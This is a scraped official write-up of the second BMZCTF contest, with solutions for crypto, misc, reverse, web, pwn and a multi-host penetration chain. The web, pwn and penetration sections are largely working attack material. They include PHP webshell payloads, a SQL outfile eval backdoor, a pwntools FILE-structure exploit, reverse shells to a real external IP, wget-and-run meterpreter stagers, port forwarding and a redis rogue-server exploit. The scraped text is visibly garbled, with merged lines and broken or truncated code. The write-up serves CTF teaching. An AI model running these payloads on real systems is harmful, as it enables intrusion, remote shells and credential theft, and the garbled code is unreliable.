0%

第二届BMZCTF网络安全公开赛官方题解

第二届“BMZCTF”网络安全公开赛官方题解

来自

网址
题解最初发布在知识星球,这个网址里是爬虫爬的(我猜),所以有些乱码

这里进行部分“更正”(必有错误,观其大概即可),以方便大家学习

也可以选择加入BMZ的知识星球

也可以选择加入BMZ的知识星球


CRYPTO

签到题

hex解密 -> 两次base64 解密 -> 一次base32解密

simple

  • 爆破zip文件,得到解压密码2022go
  • base64解密key.txt,得到密钥babyhappy
  • 利用UE 查看图片内容,在结尾发现一串字符U2FsdGVkX1+IHXoYmwwOhhOsI9mQ2pVFoGA91Ix/58JMsg==
  • 经过尝试分析是RC4 解密,得到结果是flag{You_Guess_It}

do_you_nkow_it

latex符号,将所有符号打出来后取第一个字母连起来就是flag,使用vscode的latex插件可以直接手点出来。

1
flag{Play_with_LaTeX}

MISC

easy_misc

what 文件开头并不是什么类型的文件头

img

文件尾发 现端倪, RIFF、 WAVE、fmt 等字样,很明显这是 wav 文件的文件头

img

用Python简单处理、反转字节流数据等到正确的wav文件

1
2
3
4
5
6
7
from binascii import *
with open('what', 'rb') as f:
hex_data = hexlify(f.read()).decode()[::-1]
with open('data.wav', 'wb') as f1:
for i in range(0, len(hex_data), 2):
data = hex_data[i:i+2][::-1]
f1.write(unhexlify(data))

得到的wav文件使用 Audacity 分析

img

img

通过分析不难发现,每一帧高低频区别明显,高频在一定的范围内,低频也在一定的范围内

  • ```
    Python wav模块文档:https://docs.python.org/zh-cn/3/library/wave.html#module-wave
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

    首先来简单分析下振幅的规律

    ```python
    import wave
    obj = wave.open('data.wav', 'r')
    frames = obj.getnframes()
    print("All Frames: {}".format(frames))
    frames_data = obj.readframes(20).hex()#提取出前20帧的数据
    for i in range(0, len(frames_data), 4):
    data = frames_data[i:i+4]
    real_data = int(data[2:] + data[:2], 16)
    data1 = data[2:] + data[:2]
    print("第{:<2}帧: {} => {} 真实数据值: {}".format(int((i+4)/4), data,data1 , real_data))

提取出来的每一帧的数据大小为 两字节 ,且存储方式为 小端存储 ,所以需要高字节位和低字节位换一下,然后转换成数值

img

先分析正振幅的数据值,通过多次尝试分析,基本就可以确认高振幅范围为: 30000-32000 ,低振幅范围为: 18000-20000

PS:分析高低振幅取值范围可以提升提取出来的帧数来进行更精确的判断

而负振幅数据无论高振幅还是低振幅,为什么都看起来都不在这个范围之内呢,明明从Audacity 中观察到的波形的高低范围和正振幅范围都应该是一样的,而得到的数值确大相径庭呢?

我们知道如果是 带符号的2字节整型 的取值范围是: [-2^(15)] ~ [2^(15)-1] 也就是 -32768至32767之间

那么就能解释负振幅数据的问题了,很明显发生了溢出;需要对数值进行一个转换处理即可得到在范围内的正常的数据

1
2
3
4
5
>>> import math
>>> math.pow(2,15)-(45650-math.pow(2,15))19886.0#第二帧
>>> math.pow(2,15)-(47417-math.pow(2,15))18119.0#第三帧
>>> math.pow(2,15)-(33915-math.pow(2,15))31621.0#第五帧
>>> math.pow(2,15)-(35258-math.pow(2,15))30278.0#第十二帧

OK,这样就解决了负振幅数据转换的问题 接下来就直接使用Python简单处理,将高低振幅转换成二进制数据即可;然后将得到的二进制数据写成字节流转成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import wave, math, struct
from binascii import *
obj = wave.open('data.wav', 'r')
frames = obj.getnframes()
frames_data = obj.readframes(frames).hex()
bin_data = ''
for idx in range(0, len(frames_data), 4):
data = frames_data[idx:idx+4]
data = data[2:] + data[:2]
if int(data, 16) <= 20000:
bin_data += '0'
elif int(data, 16) > 20000 and int(data, 16) <= 32000:
bin_data += '1'
elif int(data, 16) > math.pow(2, 15):
overflow_data = math.pow(2, 15) - (int(data, 16) - math.pow(2, 15))
if overflow_data > 20000 and overflow_data <= 32000:
bin_data += '1' elif overflow_data <= 20000:
bin_data += '0'
hex_data = ''
for idx in range(0, len(bin_data), 8):
hex_data += '{:02x}'.format(int(bin_data[idx:idx+8], 2))
with open('data', 'wb') as f1:
f1.write(unhexlify(hex_data))

img

到一张PNG图片,从 binwalk 分析来看,文件尾附加了内容

img

img

附加内容直接看不出来什么,尝试对图片分析,发现存在无密码的LSB隐写

img

1
hint: xor [00-ff] which one?

提示异或一个范围内的一个值,即可猜测附加的数据是经过异或的;可以尝试提取开头的几个字节进行异或看看结果是否为常见文件类型的文件头;Python简单处理即可

1
2
3
4
5
6
7
8
head_bytes = 'F6 2F 31 38'
for n in range(0xff):
hex_data = head_bytes.split(" ")
xor_data = ''
for data in hex_data:
data = int(data, 16) ^ n
xor_data += ' {:02x}'.format(data)
print("XOR {:02x}: {}".format(n, xor_data))

从结果中可以发现出现了PNG文件头

img

将附加数据提取出来,使用 010 Editor

打开 工具->十六进制运算->二进制异或

img

img

二维码,扫描即可得到flag

img

1
BMZCTF{755f3d5c-4817-4610-a377-68743f09e60a}

游戏秘籍

图片后面接了一个压缩包。但标识位的顺序错了。按504B0304…504B0102….504B0506的顺序调整,即可得到正确的压缩包。

密码:

查看图片IDAT后面的CRC,拼接起来。得到:```

1
The_Hint_is:`U1kkgG:VbDE3[1oy[1Ee`DEy`0ghSzF>>>>

后面CRC是乱码,将CRC的16进制拼起来,得到: E4B88AE99DA2E5AD97E7ACA6E4B8B2E5BC82E68896E99BB6E58F89E99BB6E4B889E784B6E5908EE59CA8424153453634E8A7A3E7A081E38082 hex转字符串得到: 上面字符串异或零叉零三然后在BASE64解码 。得到密码: What?That_is_a_passwd?!

flag

解压后:是一个文本,用MD阅读软件打开,使用math方法,得到矩阵,并发现有零宽字节隐写。解密后为25*25的矩阵。每行按 上上下下左左右右ABAB 的顺序排列就得到正确的矩阵。再按1涂黑,0涂白,得到二维码。扫码即行flag

1
BMZCTF{y0u_f1nd_the_4l@g}

temperature

根据题目给出的plc梯形图,可以确定温度变送器的量程为0-100℃,裸数据的上、下限为6400-32000,从而确定产品型号为西门子200,后面计算时会用到。

Encrypted.txt为plc采集上来的温度裸数据值的加密值,范围为6400<=加密数据<=32000,先对Encrypted.txt加密数据进行解密。

  • 先对数据进行base91解密

img

  • 再进行base85解密

img

  • 再进行16进制解码

img

  • 解码后为66974超出裸数据最大范围,判断为简单的数字替换编码,进行ROT5解码,最后结果为11429

img

  • 标准电信号是 A0—Am(如:4—20mA), A/D 转换后数值为 D0—Dm(如:6400—32000),设模拟量的标准电信号是 A,A/D 转换后的相应数值为 D,由于是线性关系,

    函数关系 A=f(D)可以表示为数学方程:A=(D-D0)×(Am-A0)/(Dm-D0)+A0。根据该方程式,可以方便地根据 D 值计算出 A 值。将该方程式逆变换,得出函数关系 D=f(A)可以表示为数学方程:

    D=(A-A0)×(Dm-D0)/(Am-A0)+D0

    根据公式D = (温度变送器上限-下限)×(采集数据-裸数据下限)/(电流上限-电流下限)+温度变送器下限,可直接计算出真实温度值

img

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
AIW2 = 11429 #解密后的裸数据值
D0 = 6400
DM = 32000
A0 = 4
AM = 20
rangeH = 100
rangeI = 0#量程为0-100℃
D = (rangeH-rangeI)*(AIW2-D0)/(DM-D0)+0print("换算后的温度为:",D)#精确到3位小数
19.64453125--
>>>>19.645D = 19.645md_sale = hashlib.md5(str(D).encode()).hexdigest()
print(md_sale)

根据数模转转换公式最后求得flag为:

1
flag{32953271ae52e2a652b4dff491dd6aa0}

流量分析

1、根据题目要求,操作人员在scada系统上对一台设备进行了远程启动,请数据包信息找出发送的启动信息的数值。

2、一般远程控制大部分用tcp/ip或modbus协议,我们直接过滤modbus协议:找到写命令或是直接用modbus.func_code == 6找到写命令

img

0051进行16进制到10进制解码得到81

img

再对81进行md5得到flag值43ec517d68b6edd3015b3edc9a11367b

img

hard_misc

首先下载附件

使用volatility查看内存中的粘贴板发现存在URL

img

并且在进程中发现了notepad.exe

img

dump notepad.exe内存到1380.dmp

img

使用strings命令发现密码password

1
2
strings 1380.dmp| grep -i "password"……
AdministratorPasswordPasswordPassword: ****P@ssw0rd4zip****Password(0)

打开链接后发现是图片隐写

img

使用Python的Pillow库进行图片解析,发现RGB的值只有R和G是随机值,B为0或255

img

提取所有B的值并转换为二进制(255为1时0为0,0为1时255为0)

img

可以看到转换后的值存在一定规律,猜测为Manchester Encoding(曼切斯特编码)

img

解码后成功获取到原始二进制数据

转换为ASCII编码后获取到base64编码的字符串

1
UmFyIRoHAQBfZrcbIQQAAAEPfcLH49GPyiSQWUvfPyBHjeg7+R0f0FXFnfecVDfBeSCQ6ey4AO/8o1skWuo/7WfC3f3iB67CTeFvPGysBBX90iGgCVpWB6pNE/yuhoY87FdolPm6gDEKQyQuRu2tmXVyNDsb5GpKb9jb3y4o3kgAX6hiZ+b+awAw/BP36gOD5bZuDHi02rsR+5iWXasXurpI3GOmrWF+pIXDobO1qa3dOi5Exp1Czt2S8BQ+XYqbEDKvh6goVLaENeiHq4rx6EF/j5r8/+gC9u9n+848lgCvHYcNH34A/PcIUGXS6LnmIAFu67zQKuHkIWq1nIVognt/oDpfPUrLe8VfdIj17m1BjxvkmsHn9uwlGoivc8c6iv0j46pRDKrzmLmYowfwmll/L7l/g/Y1snSjjVhXvR8oCzDO8EjnNqiwXerarLfHDq+6FMZW2M3/3VRe3a8=

解码后通过文件头发现该文件格式为RAR

img

使用notepad获取到的密码进行解密

img

打开文件即可获取flag,flag{2ac505ffb2c5deab71d242ec4af148c9}


REVERSE

check in

32位程序,主要流程在LPL中

img

直接z3

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from z3 import *
P=[12864,5522,10710,6924,788,10715,10008,13022,15893,9754,7946,7490,5636,13477, 2198,5861,5799,5259,6464,6171,2269,9251,8315,2989,-199,2680]
a = [z3.BitVec("p%d" % i, 8) for i in range(33)]
f="flag{"
s=Solver()
s.add(a[0]==ord(f[0]))
s.add(a[1]==ord(f[1]))
s.add(a[2]==ord(f[2]))
s.add(a[3]==ord(f[3]))
s.add(a[4]==ord(f[4]))
s.add(P[0]==12*a[5]+44*a[7]+17*a[6]+100*a[8]+20*a[9]+75*a[10])
s.add(P[1]==63*a[10]+58*a[9]+46*a[5]+25*a[8]-89*a[7]+12*a[6]+2)
s.add(P[2]==23*a[8]+45*a[9]+26*a[5]+77*a[6]+11*a[10]+41*a[7]+6)
s.add(P[3]==34*a[7]+12*a[8]+15*a[10]+19*a[9]+20*a[6]+44*a[5]+12)
s.add(P[4]==4*a[9]+2*a[10]+5*a[7]-4*a[8]+8*a[6]+a[5]+20)
s.add(P[5]==12*a[6]+10*a[7]+9*a[9]+8*a[8]+99*a[10]+85*a[5]+11)
s.add(P[6]==11*a[11]+12*a[12]+33*a[13]+55*a[14]+77*a[15]+20*a[16]+24)
s.add(P[7]==66*a[11]+45*a[13]+78*a[15]+21*a[14]+56*a[12]+3*a[16]+110)
s.add(P[8]==65*a[12]+25*a[15]+78*a[16]+54*a[14]+96*a[11]+a[13]*13+5)
s.add(P[9]==88*a[13]+20*a[14]+a[15]*7+a[16]*36+a[11]*11+a[12]*41+10)
s.add(P[10]==a[14]*14+a[15]*55+a[16]*62+a[11]*17+a[12]*8+a[13]+410)
s.add(P[11]==a[15]*52+a[16]+a[11]+a[12]*2+a[14]*5+a[13]*6+a[14]*88+50)
s.add(P[12]==a[17]+a[18]+8*a[19]+9*a[20]+11*a[21]+85*a[22]+11)
s.add(P[13]==a[18]*56+a[19]*65+a[20]*78+a[21]*22+a[22]*55+a[17]+26)
s.add(P[14]==a[19]*19+a[20]*3-a[21]-a[22]+a[17]*6+a[18]*20-11)
s.add(P[15]==a[20]*8+a[21]*77+a[22]*46+a[17]*4-a[18]*10-a[19]*5-30)
s.add(P[16]==a[21]*21+a[22]*22+a[17]*17+a[18]*18+a[19]*19+a[20]*20+120)
s.add(P[17]==a[22]*9+a[21]*85+a[20]*5+a[19]*9+a[18]*8+a[17]*4-600)
s.add(P[18]==a[23]*5+a[24]*6+a[25]*7+a[26]*8+a[27]*88+a[28]*22-200)
s.add(P[19]==a[24]*50+a[25]*80+a[26]*10+a[27]*7+a[28]*12-a[23]*20-640)
s.add(P[20]==a[25]*14+a[26]*8+a[27]*4+a[28]*25+a[23]*3+a[24]*7-720)
s.add(P[21]==a[26]*8+a[27]*80+a[28]*40+a[23]*6+a[24]*5+a[25]*60-500)
s.add(P[22]==a[27]*10+a[28]*85+a[23]*40+a[24]*41+a[25]*25-a[26]*26-260)
s.add(P[23]==a[28]*9+a[23]*9+a[24]*55-a[25]*10-a[26]-a[27])
s.add(P[24]==a[29]+a[30]+a[20]-a[19]-a[18]*2+a[16]-250)
s.add(P[25]==a[30]-a[29]+3*a[16]+4*a[5]+55*a[27]+a[25]-400)
print(s.check())
answer=s.model()
print(answer)
#flag{L1sten_t0_the_s1lence_Of_extinct10n!}

bmzre

去花指令

img

这里是因为ida对call函数的分析出了错误,这里的花指令将call函数当jmp使用,没有retn,只有一个add esp 4来维持堆栈平衡,直接上脚本去花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import idautils
def nop(addr,endaddr):
while(addr<endaddr):
PatchByte(addr,0x90)
addr+=1def
undefine(addr,endaddr):
while addr<endaddr:
MakeUnkn(addr,0)
addr+=1def
dejunkcode(addr,endaddr):
while addr<endaddr:
MakeCode(addr) # 匹配模版
if Byte(addr)==0xe8 and Byte(addr+6)==0x12 and Byte(addr+7)==0x83:
next=addr+10 nop(addr,next) addr=next continue addr+=ItemSize(addr)dejunkcode(0x00401000,0x00411E40)

flag的长度为32位

将flag分成两段,分别通过两个函数去检查

img

第一个检查函数,考察负数的表示方法和使用

对输入的字符进行-109操作,这里考察了char类型

一个字节的范围是 0x00-0xff

char类型强制类型转化的话可以看作有符号整数

这里所比较的字符串为负数 所以写脚本的时候需要+0x100

1
2
3
m=[0xc8,0xf4,0xf5,0xc7,0xc5,0xc3,0xf9,0xc6,0xf7,0xcb,0xc8,0xc7,0xca,0xf8,0xc3,0xc4]
for i in m:
flag+=chr(i+109-0x100)

img

第二个检查函数考察了古典密码的替换类型,简单的替换

key是2103

没四个字符为一组,以key=2103的方式进行替换

img

1
flagbmz{5ab420f3d8547e01a1846a15db0209e6}

WEB

easyphp

1给了源码!审计一下:

1
if(isset($_GET['re'])){ file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));}

发现re可以给config赋值!

1
<?php$LANG['member_manage'] = 'admin';?

这有什么用呢!

我们本地测试一下:

第一次:

1
Sudo=1info[name]=1&no1=1

写入config里的内容是

1
<?php$LANG['1'] = ‘1’’;?>

第二次请求:

发送与第一次相同的 POST 请求

require $file; 引入语言文件得到 $LANG[$key] 的值是 string(2) "1'",也就是说,没有反斜杠,这样问题就出现了,我们同样的请求发送了两次,按照代码逻辑来看,是不应该更新 $LANG[$key] 的值的

但是因为 require 和 file_get_contents 函数读取之后的文件内容不含反斜杠,而我们 POST 传入的 language 会被转义处理得到的值是 string(3) "1'"

于是判断 $LANG[$key]!=$_POST['language'] 就成立了,接着 str_replace 函数进行字符串替换操作,把原来的 $LANG['1'] = '1''; 中的 1’ 替换成 1’,最终写入文件

最后文件内容变成:

1
<?php$LANG['1'] = ‘1’’;?>

知道上面的知识点:就可以写shell了!

1
Sudo =1&info[name]=member_manage&no1='?><?php echo 111111;@eval($_POST[upload]);?>

easy_java

1.抓包,发现fastjson格式。

img

2.探测fastjson版本为:1.2.68

img

3.使用fast_json_rce辅助进行rce或者getshell

img

zbl og-scshop

扫描目录发现web.zip,robots.txt存在zblog目录

scshop前台存在sql注入,这里利用订阅处的一个sql

img

1
2
POST /Core/Program/Ant_Rponse.php?actions=SubNewsletter&lgid=1 HTTP/1.1Host: ctf.bmzclub.cn:9932User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 49Origin: http://ctf.bmzclub.cn:9932Connection: closeReferer: http://ctf.bmzclub.cn:9932/e_ml=aaaa%40qq.com&e_couid=1*&e_coucode=SEMCMS
python3 .sqlmap.py -r .1.txt --technique B -D zblogphp -T zbp_member -C mem_Name,mem_password --dump

img

得到zblog管理员账号WHTadmin

访问

1
http://ctf.bmzclub.cn:9932/zblog/zb_system/login.php

WHTadmin/admin888登陆zblog后台

审计可以发现在新建插件的地方,app_name的参数未进行严格过滤,导致可以写入恶意代码进行代码执行

img

构造

1
POST /zblog_scshop/zblog/zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 503Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/zblog_scshop/zblog/zb_users/plugin/AppCentre/plugin_edit.phpCookie: timezone=8; username_b120b784=WHTadmin; token_b120b784=222e898db7b62a172da21c151c98e702d5b4b05bd05f10f83af06474e3f46fed1641208909; addinfozblog_scshopzblog=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22WHTadmin%22%7D; http304ok=1; PHPSESSID=t5oq8rrpgtle43pr0fi2q92kma; timezone=8Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1token=cb9f630545b265fca60f25c85362905b&app_id=aaaaaa&app_name=';phpinfo();system($_GET[1]);//&app_url=&app_note=&app_adapted=172960&app_version1=1&app_version2=0&app_version3=&app_pubdate=2021-12-31&app_modified=2021-12-31&app_author_name=WHTadmin&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

去插件中心启用

img

访问

1
/zblog/zb_users/plugin/aaaaaa/main.php

img


PWN

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
def new(size, offset, data, quiet=False):
if quiet: p.sendline("1")
p.sendline(str(size))
p.sendline(str(offset))
p.sendline(data)
else:
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(size))
p.sendlineafter(": ", str(offset))
p.sendlineafter(": ", data)#libc = ELF("./libc-2.27.so")
p=process("./goodfile")elf=ELF('./goodfile')
libc=elf.libc# make chunk adjacent to libc
base = 0x200000
space = (base + 0x1000) * 1 - 0x10new(base, space + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, 'A')
space = (base + 0x1000) * 2 - 0x10new(base, space + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, 'A', quiet=True)
libc_base = u64(p.recvline()[0x08:0x10]) - 0x3ed8b0success("libc = " + hex(libc_base))# get the shell!
space = (base + 0x1000) * 3 - 0x10new(base, space + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, 'A')
payload = p64(0xfbad208b)payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0xd8)
payload += p64(libc_base + libc.sym['_IO_2_1_stdout_']) * 6payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x2000)
payload += b'' * (8*7 + 4) # padding
new_size = libc_base + libc.search('/bin/shx00').next()
payload += p64(0xfbad1800)payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64((new_size - 100) // 2) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0)
payload += p64((1<<64) - 1) + p64(0)payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6payload += p64(libc_base + 0x3e8360) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])
payload += p64(libc_base + libc.sym["_IO_2_1_stdout_"])
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])p.sendlineafter("> ", payload)
p.interactive()

CFS

flag1

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

通过搜索可以发现源码 https://mp.weixin.qq.com/s/_RXDeXRTLf-hRWEaV2UCiw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

$shellcode = $_POST['shellcode'] ?? null;

if (empty($shellcode)||$_SERVER['REQUEST_METHOD'] != 'POST') {
header('HTTP/1.1 400 Bad Request'); //返回Http错误码
echo json_encode(['success' => 'false']); //返回错误信息
return false;
}


// $url = "https://service-5369sd4f-1258472441.sh.apigw.tencentcs.com/bootstrap-2.min.js";

global $name,$path,$file_name;
$name = md5(time()+$shellcode+base64_decode($shellcode));
$file_name = $name.".exe";
$file_dir = "./build/"; //下载文件存放目录
$path = $file_dir . $file_name;

$shellcode = sprintf("python ./Bypass/Input.py %s %s",$shellcode,$name);

exec($shellcode,$result);
$execResult = $result[2];
exec_callback($shellcode, 'download');

审计可知存在任意命令执行

反弹shell

1
bash -c "bash -i >& /dev/tcp/116.62.104.172/6666 0>&1"

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

得到flag1

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

flag2

上线msf

1
2
3
4
5
6
msf6 
> use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcpmsf6 exploit(multi/script/web_delivery)
> set lhost 81.69.27.32lhost => 81.69.27.32msf6 exploit(multi/script/web_delivery)
> set payload linux/x64/meterpreter/reverse_tcppayload => linux/x64/meterpreter/reverse_tcpmsf6 exploit(multi/script/web_delivery)
> set lport 8888lport => 8888msf6 exploit(multi/script/web_delivery)
> set target 7target => 7

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

1
wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

使用

1
run get_local_subnets

查看该机器的网段

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

添加路由

1
run autoroute -s 172.19.3.0/24

上传TailorScan进行内网扫描

1
upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

1
./TailorScan_linux_amd64 portscan 172.19.3.0/24 tcp

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

172.19.3.2:80为入口点机器,172.19.3.3:8080为一个cas

上传frp

frpc.ini

1
frpc.ini[common]server_addr = 81.69.27.32server_port = 7000[socks1]type = tcpremote_port = 6789plugin = socks5

frps.ini

1
[common]bind_port = 7000vhost_http_port = 10080vhost_https_port = 10443allow_ports = 1000-50000

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

该版本存在命令执行

漏洞利用

img

flag3

反弹shell

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTA0LjE3Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

上线msf

1
wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

使用

1
run get_local_subnets

查看该机器的网段

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

上传TailorScan进行内网扫描

1
upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

1
./TailorScan_linux_amd64 portscan 172.24.6.0/24 tcp

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

内网存在一个mysql服务,并且也存在80端口,所以可以尝试从cas那台机器读取账号密码进行登陆,尝试写shell

1
2
cat /cas-overlay/target/cas/WEB-INF/deployerConfigContext.xml
<bean id="dateSource" class="com.mchange.v2.c3p0.ComboPooledDataSource"> <!--${}是引入properties文件内容的--> <property name="driverClass" value="org.gjt.mm.mysql.Driver"/> <property name="jdbcUrl" value="jdbc:mysql://172.28.0.2:3306/cas415"/> <property name="user" value="cas"/> <property name="password" value="WHTcasmysql"/> <property name="maxPoolSize" value="1"/> <property name="minPoolSize" value="1"/> <property name="initialPoolSize" value="1"/> <property name="maxIdleTime" value="20"/> </bean>

登陆数据库

将3306转发出来

1
portfwd add -l 3308 -p 3306 -r 172.24.6.2

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

简单查看数据库信息可以看到疑似ssh账号密码的内容

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

1
ssh | BMZCTFer_s_p@asswd | BMZCTFer

这里发现可以进行读写文件,由于账号权限为低权限用户,所以udf提权失败,尝试找网站绝对路径进行写shell,访问80端口发现是apache服务

尝试读取apache配置文件

1
select load_file   ("/etc/apache2/sites-enabled/000-default.conf");

找到绝对路径

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

写马

1
select "<?php eval($_POST[1]);?>" into   outfile "/var/www/html/WHT/1.php";

将80端口转发出来

1
portfwd add -l 82 -p 80 -r 172.24.6.2

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

反弹shell

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

上线msf

1
wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

flag4

使用

1
run get_local_subnets

查看该机器的网段

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

上传TailorScan进行内网扫描

1
2
upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp
./TailorScan_linux_amd64 portscan 172.32.8.0/24 tcp

新知达人, 第二届“BMZCTF”网络安全公开赛官方解题思路

存在一个redis

将6379端口转发出来

1
portfwd add -l 6380 -p 6379 -r 172.32.8.3

https://github.com/vulhub/redis-rogue-getshell

1
python3 redis-master.py -r 81.69.27.32 -p 6380 -L 81.69.27.32 -P 1234 -f RedisModulesSDK/exp/exp.so -c "cat /flag/

img

反弹shell

1
python3 redis-master.py -r 81.69.27.32 -p 6380 -L 81.69.27.32 -P 1234 -f RedisModulesSDK/exp/exp.so -c 'bash -c "bash

img

上线msf

1
echo """f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAiuFFFGyBRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5<gABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB<AAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQ<THJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtI<ipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5> x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==> """| base64 -d > c3hGHQTr

img

img

flag5

使用

1
run get_local_subnets

查看该机器的网段

img

发现redis只有一个网段

上传TailorScan进行内网扫描

1
2
3
upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp
对其进行全端口扫描或者top100
./TailorScan_linux_amd64 portscan 172.32.8.0/24 22,3389,3306,1433,21,25,8080,80,81,8081,7001,8000,8088,8888,9090,8090,88,8001,82,9080,8082,8089,9000,8443,9999,8002,89,8083,8200,8008,90,8086,801,8011,8085,9001,9200,8100,8012,85,8084,8070,7002,8091,8003,99,7777,8010,443,8028,8087,83,7003,10000,808,38888,8181,800,18080,8099,8899,86,8360,8300,8800,8180,3505,7000,9002,8053,1000,7080,8989,28017,9060,888,3000,8006,41516,880,8484,6677,8016,84,7200,9085,5555,8280,7005,1980,8161,9091,7890,8060,6080,6379,8880,8020,7070,889,8881,9081,8009,7007,8004,38501,1010 tcp

img

发现172.32.8.2:8000存在一个服务,将其端口转发出来

1
portfwd add -l 8001 -p 8000 -r 172.32.8.2

img

随便输入名字,发现存在ssti

payload

1
